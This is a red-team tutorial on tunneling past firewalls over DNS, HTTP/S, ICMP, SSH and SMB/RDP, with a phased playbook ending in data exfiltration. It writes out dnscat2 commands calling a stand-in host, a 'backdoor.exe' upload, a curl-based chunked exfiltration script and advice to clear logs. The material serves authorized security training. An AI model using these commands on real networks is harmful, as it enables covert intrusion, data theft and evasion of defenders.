Picture this: a fortress with towering walls, guarded gates, and watchful sentries. That’s your network firewall. It’s designed to keep the bad guys out. But what if the threat is already inside? Or what if an attacker can slip through the main gate by looking exactly like a friendly messenger?
This is the heart of the never-ending cat-and-mouse game between firewalls and adversaries. For every new defense, a hacker finds a clever, sneaky way around it. And one of their favorite tricks? Tunneling.
So, What Exactly is Tunneling?
In simple terms, tunneling is the digital version of a Trojan horse. It’s the art of hiding one type of traffic inside another.
Think of it like a secret note. You can’t just hand it to your friend across a guarded classroom. So, you hide it inside a textbook. The teacher (the firewall) sees a textbook being passed around—that’s allowed. They have no idea about the secret message hidden inside.
Technically, this is called encapsulation. Hackers take their malicious data (like remote access commands or stolen files) and wrap them inside a protocol the firewall trusts, like normal web browsing (HTTP/S), DNS lookups, or even simple ping requests. The firewall sees harmless, allowed traffic and lets it pass through, completely unaware of the danger hiding within.
Why This is the Red Team’s #1 Skill
If you’re on a Red Team, your job is to think like a hacker to test defenses. And you can’t test what you can’t reach.
Tunneling isn’t just a cool trick; it’s your lifeline. It’s the critical skill that allows you to:
Call Home: Get a command-and-control (C2) connection out of a secured network to your server.
Move Laterally: Pivot from one compromised machine to explore others deep inside the network.
Steal Data: Silently exfiltrate sensitive information without triggering alarms.
Without mastering tunneling, your attack stops at the firewall. With it, the entire internal network is your playground.
A Quick, Crucial Note on Ethics
Before we dive in, let’s be crystal clear. The techniques we’re discussing are powerful. This is not a guide for malicious hacking.
This knowledge is for:
Ethical Hackers and Penetration Testers working with explicit permission.
Red Teamers strengthening an organization’s security.
Blue Teamers who need to understand these attacks to better defend against them.
Always have authorization. Always play by the rules. Let’s use these skills to build stronger defenses, not break things for the wrong reasons.
Now, let’s get into how it’s done.
AI for Hackers: Red Team Edition
Unleash the fusion of Artificial Intelligence and Offensive Security.
Discover how AI-driven tools, LLMs, and custom scripts can automate reconnaissance, exploit creation, and Red Team operations.
Built for pentesters, Red Teamers, and hackers ready to explore the future of cyber offense.
Part 1: Core Concepts – The Foundation of Evasion
Alright, before we start digging any tunnels, we need to understand the battlefield. If you’re going to sneak past a guard, you first need to know how they’re trained to spot you. In our case, the guards are Firewalls and Proxies.
Let’s break down how they work in plain English.
1.1. Understanding the Battlefield: How Firewalls and Proxies Work
Think of a firewall as a bouncer at an exclusive club. It stands between the untrusted internet (the messy street) and your trusted internal network (the VIP lounge). Its job is to look at every piece of data trying to get in or out and decide: “Are you on the list?”
A proxy is like a super-organized secretary. Instead of you talking directly to someone outside, you give your message to the secretary. The secretary then goes out, gets the response, and brings it back to you. This allows the company to control and log everything.
But how does this bouncer actually make its decisions? Let’s look at its rulebook.
Stateful Inspection & Deep Packet Inspection (DPI)
Stateful Inspection: This is the bouncer’s basic training. He doesn’t just look at you once; he remembers you. If you start a conversation with someone inside (initiate a connection), he makes a note of it. When a response comes back, he checks his notes and says, “Ah, yes, we were expecting this. Come on in.” It’s all about tracking the state of connections. It blocks stuff that’s clearly unsolicited.
Deep Packet Inspection (DPI): This is the bouncer’s advanced training. Now, he doesn’t just check your ID at the door (the packet header); he listens to your conversation (the packet payload).
He can hear if you’re speaking “Web Traffic” (HTTP), “Secure Web Traffic” (HTTPS), or “File Sharing” (BitTorrent).
Even if you’re trying to sneak in through the back door on a weird port, DPI can detect that your “Spanish” is actually “Malware” pretending to be Spanish.
This is why tunneling is needed. We have to make our malicious conversation sound like perfect, normal Spanish to the bouncer.
Allow-lists vs. Deny-lists
This is the bouncer’s fundamental philosophy for his “list.”
Deny-lists (The “Bad Guy” List): “Everyone is allowed in, except these known troublemakers.” This is easier to manage but less secure. If a new troublemaker shows up and he’s not on the list, he gets in. It’s a reactive defense.
Allow-lists (The “VIP” List): “Nobody gets in, unless you are explicitly on this list of approved guests.” This is “default-deny.” It’s much, much stricter. If your protocol or destination isn’t on the list, it’s blocked, no questions asked. Modern, secure networks are moving towards this model.
The Critical Role of Egress Filtering
This is the most important concept for a hacker to grasp. Most people think firewalls only stop things from getting in. Egress Filtering is about controlling what goes out.
Why is this a big deal?
Because once you, as an attacker, get a shell on a machine inside the network, you need to “call home” to your command-and-control server. Egress filtering is the bouncer at the exit, checking all outbound traffic.
His job is to ask: “Why is this accounting computer suddenly trying to send data to a random server in a country we don’t do business with?” or “Why is this user’s laptop making weird DNS requests every 10 seconds?”
Egress filtering is the primary defense that makes tunneling necessary. If a network only allows outbound web traffic (HTTP/S) and DNS lookups, then you, as a red teamer, have no choice but to hide your traffic inside those allowed protocols.
And that, right there, is the entire game.
1.2. The Principle of Encapsulation: Hiding in Plain Sight
So, we know the firewall is a smart bouncer using DPI and egress filtering. How do we possibly get past that?
The answer isn’t a brute-force battering ram. It’s stealth. It’s encapsulation. This is the core magic trick behind all tunneling.
The “Russian Doll” Analogy
Imagine one of those Russian matryoshka dolls. On the outside, it looks like a normal, painted wooden doll. But when you open it up, there’s another doll inside. And inside that one, another.
Encapsulation works exactly the same way.
The Outer Doll: This is the protocol the firewall trusts and allows. Think of it as a harmless-looking DNS query (“What’s the IP for google.com?”) or a regular HTTPS request (“Loading a cat video from YouTube”).
The Inner Doll: This is your real, hidden traffic. This could be your remote desktop connection, your keystrokes to a command-and-control server, or the file you’re stealing.
The firewall only inspects the outer doll. It sees a perfectly normal DNS query or web request and waves it through. It has no idea there’s a secret hidden inside.
Covert Channels: Using Allowed Protocols as Carriers
This is where we get clever. A covert channel is simply a hidden communication path we create using something normal.
We turn allowed protocols into our own personal carriers. The most common ones are:
DNS: Almost every network allows DNS traffic out. It’s the phonebook of the internet. We hide our data in DNS questions and answers.
HTTP/HTTPS: Web traffic is the ocean of the internet. Our malicious traffic is just a single, weird-looking fish in a massive school. It’s easy to hide here.
ICMP: The simple “ping” command. In super-restricted environments, sometimes the only thing that works is seeing if you can “ping” an external server. We can hide data in those pings.
The Goal: Blending into Normal Network Noise
The ultimate goal of encapsulation isn’t just to work—it’s to be undetectable.
You don’t want to be the one person shouting in a quiet library. You want to be one of hundreds of students, all rustling papers and whispering. You blend in.
A successful tunnel:
Mimics Real Traffic: It uses the same ports, packet sizes, and timing as the legitimate protocol it’s impersonating.
Avoids Patterns: It doesn’t send data at a perfect, machine-like interval (e.g., exactly every 10 seconds). It introduces some random jitter to look human.
Uses Common Destinations: A tunnel to a random, unknown server is suspicious. A smarter tunnel might route its traffic through a major cloud provider (like AWS or Google Cloud) to look like normal web traffic.
Mastering encapsulation, you’re no longer a hacker trying to break down the door. You’re a ghost, walking silently through the walls.
1.3. Key Terminology for the Operator
Before we start using the tools, let’s get our lingo straight. This isn’t just jargon; knowing these terms is like reading a map. It tells you exactly what each piece of the puzzle does.
Here’s the simple breakdown of the words you’ll see everywhere in tunneling.
Client / Sock / Agent
This is the piece of software that runs on the compromised machine inside the target network. Think of it as your inside man.
Client / Sock / Agent: These terms are often used interchangeably.
Its Job: To call out to the hacker’s server. It takes your malicious traffic (like a keyboard stroke or a file search) and packs it into the “allowed” protocol (like a DNS or web request).
Simple Analogy: It’s the spy hiding behind enemy lines, waiting for instructions and sending back intel.
Server / Relay / Listener
This is the piece of software that you, the hacker, control on your own machine (or a cloud server you own). It’s the home base.
Server / Relay / Listener: Again, these mean essentially the same thing in this context.
Its Job: To sit patiently and wait for the “inside man” (the client) to call. When it gets a call, it unpacks the hidden message, executes your commands, and then packs the response back into the allowed protocol to send back inside.
Simple Analogy: It’s the mission control center. It listens for the spy’s signal, gives orders, and receives the gathered intelligence.
Payload vs. Protocol
This is a crucial distinction that trips up a lot of beginners.
Payload: This is the “what.” It’s the actual malicious thing you want to do. It’s your reverse shell, your keylogger, your data theft command. It’s the secret mission objective.
Protocol: This is the “how.” It’s the method of transport you’re hiding the payload inside. It’s the DNS, HTTP, or ICMP “wrapper” that carries your payload. It’s the disguise your spy uses to move around freely.
In a nutshell: You deliver a payload by wrapping it inside a trusted protocol.
Egress vs. Ingress
These two words describe the direction of traffic, and they are absolutely critical to understand.
Egress Traffic: Traffic Going OUT.
“Egress” = Exit.
This is traffic originating from inside your network and going out to the internet.
Why it matters: This is what egress filtering controls. As a red teamer, your primary challenge is getting your tunnel’s egress traffic past the firewall to your server.
Ingress Traffic: Traffic Coming IN.
“Ingress” = Enter.
This is traffic originating from the internet and coming into your network.
Why it matters: Traditional firewalls are great at blocking unsolicited ingress traffic. Your tunnel cleverly bypasses this because the initial egress connection is started from the inside, making the returning ingress traffic look like a legitimate response.
The Takeaway: You focus on tricking the egress filter. If you can get your cleverly disguised traffic out, the corresponding traffic coming back in (ingress) is often automatically allowed because it looks like a reply to a legitimate request.
Part 2: The Tunneling Toolkit – Protocols of Deception
Now for the fun part: the actual tools of the trade. These are the protocols we abuse to create our covert channels. First up, the classic, stealthy technique that works in the most locked-down environments: DNS Tunneling.
2.1. DNS Tunneling: The Classic Evasion Technique
Think about it: what’s one service that almost every computer on a corporate network needs to function? The Domain Name System (DNS). It’s the internet’s phonebook. Without it, users can’t browse the web, and apps can’t connect to anything. Because it’s so critical, most firewalls let DNS traffic flow freely.
Hackers abuse this fundamental trust.
How It Works: Abusing TXT, A, and CNAME Records
You don’t just make a normal DNS query. You hide your data inside the query itself. Here’s the clever part:
The Client (Inside Man) Encodes Data: The agent on the compromised machine takes a piece of data (like a stolen password) and encodes it into a subdomain.
Example: Instead of asking for google.com, it asks for aXBsb2FkLmV4ZQ==.malicious.com.
The aXBsb2FkLmV4ZQ== part is the encoded data (it’s Base64 for “payload.exe”).
The Query is Sent: This weird, long DNS query is sent to the local DNS server, which forwards it out to the internet, right through the firewall.
The Server (Mission Control) Responds: Your malicious server, which owns malicious.com, receives this query. It decodes the subdomain to get the stolen data.
The Response Carries Commands: The server can then send commands back to the client by hiding them in the DNS response, often using TXT records (which can hold text) or by sending a specific IP address in an A record.
Use Case: Exfiltrating data from highly restricted networks.
DNS tunneling is your go-to when you’re in a super-max security prison of a network.
The firewall allows only DNS traffic out. Everything else is blocked.
You need to slowly siphon out data or establish a foothold.
It’s slow, but it’s often the only option that works.
Tools: dnscat2, iodine
dnscat2: The red team favorite. It’s designed for stealth and command-and-control (C2). It uses encryption and can be very hard to detect. It’s perfect for getting a shell on a machine.
iodine: This tool is great for creating a full IP tunnel over DNS. It’s like shoving your entire internet connection through the tiny DNS pipe. Want to browse the internal network from the outside? Iodine can make that happen.
The Bottom Line: DNS Tunneling is a slow-burn, patient attacker’s game. It abuses a fundamental and trusted protocol, making it a powerful last resort for breaching the most secure networks.
2.2. HTTP/S Tunneling: Blending with Web Traffic
If DNS Tunneling is a secret note, HTTP/S Tunneling is a full-blown disguise. This is the most popular and reliable method for getting data out of a network. Why? Because web traffic is the ocean of the internet, and your hidden data is just one more fish in a massive, chaotic school.
How It Works: Mimicking Legitimate Web Requests and Responses
The goal is simple: make your malicious remote-control traffic look exactly like someone is browsing the web.
The Setup: You upload a special file (like a small PHP, ASPX, or JSP script) to a web server inside the target network. This script acts as a bridge.
The Connection:
The Agent on the compromised machine connects to this script on the internal web server using normal HTTP or HTTPS requests. It looks like a web browser asking for a page.
The Server you control outside the network also connects to this same script.
The Tunnel: That little script on the internal server becomes a relay. It takes data from the external hacker server, wraps it in an HTTP response (like a fake webpage), and sends it to the internal agent. The agent then unwraps it, runs the command, and sends the result back inside a new HTTP request to the script, which forwards it out.
To the firewall, it all just looks like a user is actively browsing a website.
Use Case: The Most Common and Reliable Method for Egress
You’ll use this all the time. It’s your go-to, your bread and butter.
When the network allows web browsing: This is almost every corporate network in the world.
When you need speed and stability: It’s much faster than DNS tunneling and provides a solid, reliable connection for tasks like lateral movement and large data exfiltration.
When you need to evade basic detection: By using HTTPS, your traffic is encrypted, hiding your payloads from deep packet inspection.
Tools: reGeorg, Chisel, SOCKS over HTTP/S with Proxychains
reGeorg: A classic and fantastic tool. You upload its “tunnel file” (e.g., tunnel.aspx) to the internal web server. It then sets up a SOCKS proxy on your machine, letting you route any tool’s traffic through the web tunnel. Simple and effective.
Chisel: A more modern, fast tool written in Go. It’s incredibly versatile. You can use it as both the client and server, and it can create a full TCP tunnel over HTTP/S. It’s like a supercharged version of reGeorg and is a favorite for its performance.
SOCKS over HTTP/S with Proxychains: This is the killer combo.
A tool like reGeorg or Chisel creates a SOCKS proxy on your Kali machine (usually on port 1080).
You then configure Proxychains to use this proxy.
Now, you can start any tool with the command proxychains in front of it (e.g., proxychains nmap -sT 10.0.0.10).
The Magic: Proxychains forces that tool’s traffic through your web tunnel, letting you scan, exploit, and browse as if you were inside the network!
The Bottom Line: When in doubt, try an HTTP/S tunnel first. It’s the workhorse of the red team world, blending in with the noise of everyday internet traffic to give you a powerful and stealthy foothold.
2.3. ICMP Tunneling (Ping Tunnels)
Sometimes you find yourself in a network so locked down that even web browsing is blocked. But there’s one thing that network admins often forget to block because it’s used for basic troubleshooting: the humble ping.
ICMP tunneling is the digital equivalent of Morse code tapped through prison walls. It’s slow, it’s basic, but when it’s your only option, it’s a lifesaver.
How It Works: Hiding Data in ICMP Echo Request/Reply Packets
You know the ping command? It sends ICMP Echo Request packets to a target and waits for Echo Replies. Normally, these packets just say “Are you there?” and “Yes, I’m here!”
But here’s the secret: we can hide data inside these packets.
The Data Field: ICMP packets have an optional “Data” or “Payload” section that’s normally just filled with random characters or timestamps.
The Hack: We replace that random data with our actual payload—keystrokes, file contents, or command outputs.
The Flow: The client on the compromised machine sends ICMP Echo Requests to your external server, but these requests contain hidden data in their payload. Your server responds with ICMP Echo Replies that contain its own hidden commands.
To the firewall, it just looks like normal, harmless pinging happening back and forth.
Use Case: Networks Where Only Ping (ICMP) Is Allowed Out
This is your last-resort option when everything else fails. You’ll encounter this in:
Extremely secure environments like industrial control systems or critical infrastructure
Poorly configured networks that only allow basic diagnostic tools
Segmented networks where you’ve pivoted to a restricted segment
The classic sign: you get a shell but can’t make web requests, DNS lookups fail, or every TCP/UDP port seems blocked. But when you run ping 8.8.8.8—it works!
Tools: ptunnel, icmpsh
ptunnel: The classic ICMP tunnel. It’s reliable and can handle TCP traffic over ICMP. Want to browse internal websites through your ping tunnel? ptunnel can make that happen. It’s like building a TCP highway inside ICMP packets.
icmpsh: A simpler, more focused tool. It’s designed specifically for getting a remote shell through ICMP. It’s lightweight and effective—perfect when you just need command execution without the complexity of full TCP tunneling.
The Reality Check: ICMP tunneling has some big limitations:
It’s slow—you’re moving data through a very narrow pipe
It’s often monitored—security teams might notice unusual amounts of ICMP traffic
It can be blocked—many networks now drop ICMP traffic at the border
The Bottom Line: ICMP tunneling is the emergency escape hatch. When every other door is locked and barred, this might be the one cracked window you can squeeze through. It’s not elegant or fast, but when it works, it can mean the difference between maintaining access and losing your foothold completely.
2.4. SSH Tunneling: The Double-Edged Sword
SSH (Secure Shell) is the trusted tool every sysadmin uses to manage servers securely. But this same tool, designed for security, can be one of a hacker’s most effective weapons. That’s why it’s a double-edged sword—it’s essential for defense, but deadly in the wrong hands.
It’s also incredibly stealthy because SSH traffic (on port 22) is common in most networks and is encrypted, making it hard for firewalls to inspect.
Let’s break down the three superpowers of SSH tunneling.
Local Port Forwarding: Accessing Internal Services
What it does: It lets you access a service on an internal network from your local machine.
The Scenario: You’ve compromised a Linux web server that can talk to an internal database server on port 3306. You can’t reach the database from your home base… but the web server can.
The Command Magic:
ssh -L 9000:192.168.1.100:3306 user@compromised-server.com
What this means: “SSH, please create a tunnel. Take anything I send to my local port 9000, and forward it through the compromised-server to the internal database on port 3306.”
How you use it: You then point your database client to localhost:9000. The traffic flows securely through the SSH tunnel to the internal target. It’s like asking your friend on the inside to bring you a book from a restricted library section.
Remote Port Forwarding: Pivoting from a Compromised Host
This is the real hacker favorite. It’s the reverse of local forwarding and is perfect for pivoting.
What it does: It takes a service from inside the compromised network and makes it accessible on your attacker server outside.
The Scenario: You have a shell on an internal workstation. That workstation can reach the admin panel of a router at 10.0.0.1:80. You need to see that panel from your own machine to study it for flaws.
The Command Magic:
ssh -R 8080:10.0.0.1:80 user@your-attack-server.com
What this means: “SSH, please create a tunnel. Take anything sent to port 8080 on my attack-server, and forward it back through this compromised machine to the router’s admin panel on port 80.”
How you use it: You then open your browser and go to http://your-attack-server.com:8080. Voilà! You’re now looking at the internal router’s page. It’s like the inside man setting up a secret mail drop where you can leave and pick up packages.
Dynamic Port Forwarding: Creating a Local SOCKS Proxy
This is the ultimate flexibility. Instead of forwarding just one port, you create a full SOCKS proxy.
What it does: It turns your SSH connection into a magic funnel that can route any traffic from your tools through the compromised machine.
The Scenario: You want to use tools like nmap or your web browser to explore the entire internal network from your home base.
The Command Magic:
ssh -D 1080 user@compromised-server.com
What this means: “SSH, please create a SOCKS proxy on my local port 1080. Any application I configure to use this proxy will have its traffic sent through the compromised-server.”
How you use it: You configure your tools to use this proxy.
In your browser’s network settings, set a SOCKS proxy to 127.0.0.1:1080.
For command-line tools, use proxychains: proxychains nmap -sT 10.0.1.0/24
Now, all your scanning and browsing traffic is tunneled through the victim, making it look like the traffic is originating from inside the network.
The Bottom Line: SSH tunneling is a red teamer’s dream. It’s a built-in, trusted, and encrypted method that provides incredible flexibility for accessing internal resources and pivoting deeper into a network.
2.5. SMB / RDP Tunneling: Pivoting Through Windows
When you’re inside a Windows network, you’re playing a different game. This is where the real corporate treasure lives—file shares, domain controllers, and user data. Two Windows-native protocols become your best friends for moving around: SMB and RDP.
How It Works: Using Named Pipes or Virtual Channels for Traffic Relay
These methods are especially sneaky because they use the very tools that Windows admins use every day.
SMB Tunneling (Named Pipes):
SMB isn’t just for file sharing—it has a feature called named pipes that allows programs to talk to each other over the network.
Hackers can abuse this by creating a covert channel through these named pipes. Your traffic gets wrapped inside legitimate SMB file-sharing protocol.
Tool of choice: smbexec or modified versions of common tools that can relay traffic through SMB.
RDP Tunneling (Virtual Channels):
RDP has a built-in feature called virtual channels that’s designed to let remote applications communicate with the local machine (like sharing clipboard or drives).
We can hijack these virtual channels to create a hidden tunnel right through the RDP connection itself.
How it works: You establish a normal, legitimate-looking RDP session to another machine, but secretly use the virtual channel to send your malicious traffic alongside the remote desktop data.
Use Case: Lateral Movement Within a Windows Domain
This is all about blending in and using what’s already there.
You’ll use these techniques when:
You need to move between Windows machines in an Active Directory environment
Standard ports might be monitored, but SMB (445) and RDP (3389) traffic is everywhere and considered “normal”
You want to avoid installing new tools that might trigger antivirus
Pass-the-hash attacks have given you access to another machine, and you need to establish a more stable foothold
The Reality: In a Windows domain, SMB and RDP traffic is like water flowing through pipes—it’s everywhere and nobody thinks twice about it. By tunneling through these protocols, you become just another drop in the stream, moving from workstation to server to domain controller without raising alarms.
The Bottom Line: SMB and RDP tunneling are your “business casual” attack methods. They let you move through Windows networks using the very infrastructure that’s designed to keep everything connected. It’s the ultimate “when in Rome” approach to lateral movement.
Part 3: The Red Team Playbook – Practical Engagement Walkthrough
Alright, enough theory—let’s get our hands dirty. This is where we turn those clever concepts into actual results. Think of this as your step-by-step guide to pulling off a successful tunneling operation.
Phase 1: Initial Foothold & Reconnaissance
This is where every great hack begins. You need to get inside and figure out exactly what kind of prison you’ve landed in.
Gaining a Shell on a Target Workstation/Server
First things first—you need to get in. This could happen through:
A clever phishing email with a malicious attachment
Exploiting a public-facing web application
Using stolen credentials you found in a data breach
Or just finding an unlocked workstation (the old-fashioned way)
However you do it, the goal is the same: get that first shell—a command line interface on the target machine. This is your beachhead, your entry point into the fortress.
Enumerating the Network: ipconfig, netstat, Checking Proxy Settings
Once you have your shell, don’t just start blasting. Stop and look around. You need to understand your new environment.
First, figure out where you are:
# On Windows:
ipconfig /all
systeminfo
# On Linux:
ifconfig or ip a
cat /etc/resolv.conf
This tells you your IP address, the network range, the domain name, and the DNS servers. You’re building your map.
Next, check what’s talking to what:
# On Windows:
netstat -ano
# On Linux:
netstat -tulpn
This shows you all active network connections. Look for interesting internal IPs, see what ports are open, and notice if there are any existing connections to the outside world.
Finally, check the escape routes:
# Check proxy settings
# On Windows (via registry):
reg query “HKEY_CURRENT_USERSoftwareMicrosoftWindowsCurrentVersionInternet Settings”
# Check environment variables:
echo %HTTP_PROXY%
echo %HTTPS_PROXY%
The proxy settings are crucial—they tell you how this machine is supposed to talk to the internet.
Identifying Allowed Egress Protocols
This is the million-dollar question: “What can I get out?”
Time for some basic network troubleshooting from the inside:
# Test HTTP/HTTPS
curl https://google.com
curl http://your-server.com
# Test DNS
nslookup google.com
nslookup your-domain.com
# Test ICMP (ping)
ping 8.8.8.8
# Test specific ports
telnet your-server.com 443
# Or use PowerShell Test-NetConnection
What you’re looking for: Which of these commands actually gets through? If curl https://google.com works but curl http://google.com fails, you know HTTPS is allowed but HTTP might be blocked. If only nslookup works, you’re looking at a DNS-only scenario.
Pro Tip: Don’t just test once. Try different destinations and ports. Sometimes networks have weird rules—maybe they only allow traffic to approved web categories, or maybe they block everything except traffic to major cloud providers.
The Phase 1 Mindset: Be patient. Be thorough. The quality of your reconnaissance here will determine which tunneling technique you use next—and whether you succeed or get caught.
Bottom Line: You’re a detective at a crime scene. Look at everything, take notes, and don’t assume anything. The network will tell you what’s possible—you just have to listen.
Phase 2: Selecting and Deploying the Tunnel
Now that you’ve scoped out the prison, it’s time to plan your escape. Based on your reconnaissance from Phase 1, you’ll choose the right tool for the job. Let’s walk through the two most common scenarios.
Scenario A: Heavy Web Filtering
The Situation: Your curl tests show that HTTPS traffic can get out, but other ports are blocked. The network might have a web proxy that’s inspecting and filtering content. This is actually good news—it means you can use the most reliable tunneling method.
Deploying reGeorg or a Similar HTTP/S Tunnel
Step 1: Get Your Tunnel File Ready
Download reGeorg from GitHub (it’s a collection of tunnel scripts in different languages—PHP, ASPX, JSP).
Choose the right version for the target web server. Found an IIS server? Use tunnel.aspx. Apache with PHP? Use tunnel.php.
Step 2: Upload to the Target
Use your existing shell access to upload the tunnel file to a web-accessible directory on the internal server.
Make sure it’s in a place that looks normal, like /uploads/ or /images/.
Step 3: Start the Server Side
On your attacker machine, run the Python client that comes with reGeorg:
python reGeorgSocksProxy.py -u http://internal-server.com/uploads/tunnel.aspx -p 1080
This creates a SOCKS proxy on your local port 1080 that connects back through the web tunnel.
Configuring Proxychains to Route Tools Through the Tunnel
Now for the magic—making all your tools work through this tunnel.
Step 1: Configure Proxychains
Edit the Proxychains config file: sudo nano /etc/proxychains4.conf
Make sure these lines are set:
dynamic_chain
socks4 127.0.0.1 1080
Step 2: Route Any Tool Through the Tunnel
Now prefix any command with proxychains and it will automatically route through your web tunnel:
# Scan internal networks
proxychains nmap -sT 10.10.20.0/24
# Access internal web apps
proxychains firefox http://internal-app.local
# Use Metasploit through the tunnel
proxychains msfconsole
The Result: You now have full network access as if you were inside the network, all flowing through harmless-looking web traffic.
Scenario B: Locked-Down Network (Only DNS)
The Situation: Your reconnaissance shows that only DNS queries can get out. Every other test fails. This is the digital equivalent of solitary confinement, but we can still communicate.
Setting up a dnscat2 Client and Server
Step 1: Prepare Your External Server
Set up a cloud server you control and point a domain name to it (e.g., malicious.com).
Install and start the dnscat2 server:
sudo ruby dnscat2.rb malicious.com
Step 2: Deploy the Client
On the compromised machine, download and run the dnscat2 client:
# On Windows
dnscat2.exe –dns server=malicious.com
# On Linux
./dnscat2 –dns server=malicious.com
Pro Tip: Sometimes you need to be stealthier. Use the “throwaway” method where the client doesn’t stay running:
dnscat2 –dns server=malicious.com –max-retransmits 5
This sends a burst of DNS queries to establish the connection, then exits, making it harder to detect.
Establishing a C2 Channel Over DNS Queries
Step 1: Watch the Magic Happen
Back on your server, you’ll see the client connect. You now have a command session.
Step 2: Use Your DNS Tunnel
From the dnscat2 server console, you can:
# Get a shell
session -i 1
# Upload/download files
download secret.docx
upload backdoor.exe
# Tunnel other traffic through DNS
listen 0.0.0.0:3389 10.0.0.10:3389
The Reality Check: DNS tunneling is slow. Don’t expect to transfer large files quickly. But for command execution, keylogging, and small data exfiltration, it’s incredibly effective.
Stealth Note: DNS tunnels can be detected by monitoring for unusual DNS patterns—lots of long queries, high frequency, or weird subdomains. But in a panic situation where it’s your only way out, it’s absolutely worth the risk.
Bottom Line: Whether you’re walking out the front door with HTTP/S or squeezing through the DNS crack in the wall, you now have a reliable way to maintain access and continue your mission.
Phase 3: Pivoting and Lateral Movement
Congratulations—you’ve escaped your initial cell! But now you’re in the prison yard. This phase is about exploring the rest of the facility, finding the warden’s office, and maybe even the keys to the whole place.
Using the Established Tunnel as a SOCKS Proxy
Remember that SOCKS proxy you set up in Phase 2? That wasn’t just for show—it’s your golden ticket. A SOCKS proxy is essentially a universal adapter for network traffic. Any tool that can use a SOCKS proxy (and with proxychains, that’s virtually every tool) can now operate through your tunnel.
The Mindset Shift: You’re no longer an outsider trying to get in. You’re now an insider with a really long network cable back to your home base.
Scanning and Attacking Internal Networks That Were Previously Unreachachable
This is where the real fun begins. Time to see what else is on the network.
Step 1: Discover the Landscape
# First, let’s see what subnets are around us
proxychains nmap -sn 10.10.0.0/24
proxychains nmap -sn 192.168.0.0/24
# Now let’s scan for live hosts and common services
proxychains nmap -sS -sV -O 10.10.0.0/24
Step 2: Service-Specific Attacks
Found some interesting services? Time to poke at them:
Web Applications: proxychains firefox http://10.10.0.50:8080 proxychains gobuster dir -u http://10.10.0.50 -w /usr/share/wordlists/dirb/common.txt
Database Servers: proxychains sqlmap -u “http://10.10.0.50/products.php?id=1”
Windows Shares:
bash proxychains smbclient -L //10.10.0.100 -U username%password
Step 3: Exploit Internal Vulnerabilities
Found a vulnerable service on an internal machine? Your tunnel lets you exploit it just like you would from the local network:
proxychains msfconsole
# Then use any Metasploit module as normal
Chaining Multiple Tunnels for Deep Internal Access
Now for the advanced stuff. Sometimes you’ll find networks within networks—segmented environments where you need to hop through multiple machines.
The Scenario: You’ve compromised Workstation A in the general office network (10.10.0.0/24). From there, you discover Server B that can talk to the secure research network (172.16.0.0/16). You need to get into that research network.
Step 1: Set Up Your First Hop
You already have a SOCKS proxy from Workstation A to your attack machine.
Step 2: Compromise Server B and Set Up a Second Tunnel
# Use your existing proxy to attack Server B
proxychains ssh user@10.10.0.200
# Now set up a new tunnel FROM Server B TO Workstation A
# On Server B:
ssh -R 1081:172.16.0.0:1080 user@10.10.0.50
Step 3: Chain the Proxies
Now configure your tools to chain through both proxies:
# In /etc/proxychains4.conf
socks4 127.0.0.1 1080 # Your original tunnel
socks4 10.10.0.50 1081 # The new tunnel through Server B
Alternative: The Double Dynamic Approach
Sometimes it’s cleaner to set up a new SOCKS proxy on each hop and chain them:
First tunnel: Workstation A → Your machine (SOCKS on 1080)
Second tunnel: Server B → Workstation A (SOCKS on 1081)
Chain them: proxychains routes through 1080, then through 1081
The Result: You can now directly target machines in the 172.16.0.0/16 network from your attack machine, even though there are two network boundaries in between.
Pro Tip: Use chisel for complex multi-hop scenarios—it’s designed for this kind of relay work and makes tunnel chaining much easier than manual SSH tunneling.
The Phase 3 Mindset: Think like water flowing downhill. Always look for the path of least resistance. Each new machine you compromise might be the gateway to another, more interesting network segment. Document everything, map the network as you go, and always be thinking: “Where can I go from here?”
Bottom Line: Pivoting turns a single compromised machine into a master key for the entire network. With careful tunneling and chaining, no internal system is safe from your reach.
Phase 4: Data Exfiltration
You’ve found the crown jewels—the sensitive data that makes this entire operation worthwhile. Now comes the most delicate part: getting the treasure out without setting off any alarms. This isn’t a smash-and-grab; it’s a careful, calculated heist.
Using the Covert Channel to Slowly Siphon Data Out
Remember: your tunnel isn’t a highway—it’s a secret passage. Treat it like one.
The “Drip, Don’t Pour” Principle:
Small and Slow: Break large files into tiny chunks and transfer them intermittently. Instead of sending a 100MB file all at once, send 100KB chunks with random delays between them.
Use Idle Times: Schedule transfers during busy hours when network activity is high, or during off-hours when monitoring might be lighter. Blend into the normal traffic patterns.
Practical Example with DNS Exfiltration:
# Split a file into small chunks
split -b 512 secret_document.pdf chunk_
# Encode and exfiltrate each chunk slowly
for file in chunk_*; do
base64 -w0 $file | xxd -p -c 32
sleep $((RANDOM % 60 + 30)) # Random delay between 30-90 seconds
done
Techniques for Minimizing Detection (Encryption, Slow Transfer Rates)
1. Encrypt Everything First:
Why: Even if detected, encrypted data looks like random noise. DLP systems can’t flag what they can’t read.
How:
# Encrypt before exfiltration
openssl enc -aes-256-cbc -salt -in secret_file.docx -out secret.enc -k “password”
2. Mimic Legitimate Traffic Patterns:
Timing is Everything: Don’t use consistent intervals. Add jitter to make your transfers look like human activity.
Size Matters: Keep packets within normal size ranges for the protocol you’re using. DNS queries should look like normal DNS queries, web traffic like normal web traffic.
3. Use Steganography When Possible:
Hide data within other files
Encode data in image metadata or within normal-looking documents
Use whitespace in text files or comments in code
4. Route Through Trusted Services:
Use cloud storage APIs (Dropbox, Google Drive) as middlemen
Route through popular CDNs to blend with legitimate traffic
Use social media platforms or webmail as dead drops
5. The “Low and Slow” Transfer Script:
#!/bin/bash
FILE=$1
SERVER=$2
CHUNK_SIZE=10240 # 10KB chunks
while read -r -n $CHUNK_SIZE chunk; do
# Encrypt chunk
encrypted_chunk=$(echo “$chunk” | openssl enc -base64 -A)
# Send via covert channel (example using curl through proxy)
proxychains curl -X POST -d “data=$encrypted_chunk” https://$SERVER/update &>/dev/null
# Random delay between 1-5 minutes
sleep $((RANDOM % 300 + 60))
done < <(cat $FILE)
6. Monitor Your Own Back:
Watch for increased bandwidth alerts
Check if your tunnel is still stable
Have abort procedures ready if you suspect detection
7. Clean As You Go:
Delete original files after successful transfer
Clear logs that might show your activities
Remove temporary files and encryption keys
The Reality Check: Even with all these precautions, exfiltration is risky. The longer you take, the more chance of being caught. The faster you go, the more likely you’ll trigger alerts. It’s a balancing act.
Professional Red Team Tip: Sometimes the best approach is to exfiltrate a small, convincing sample rather than the entire dataset. This proves the vulnerability exists without causing massive data loss for the client.
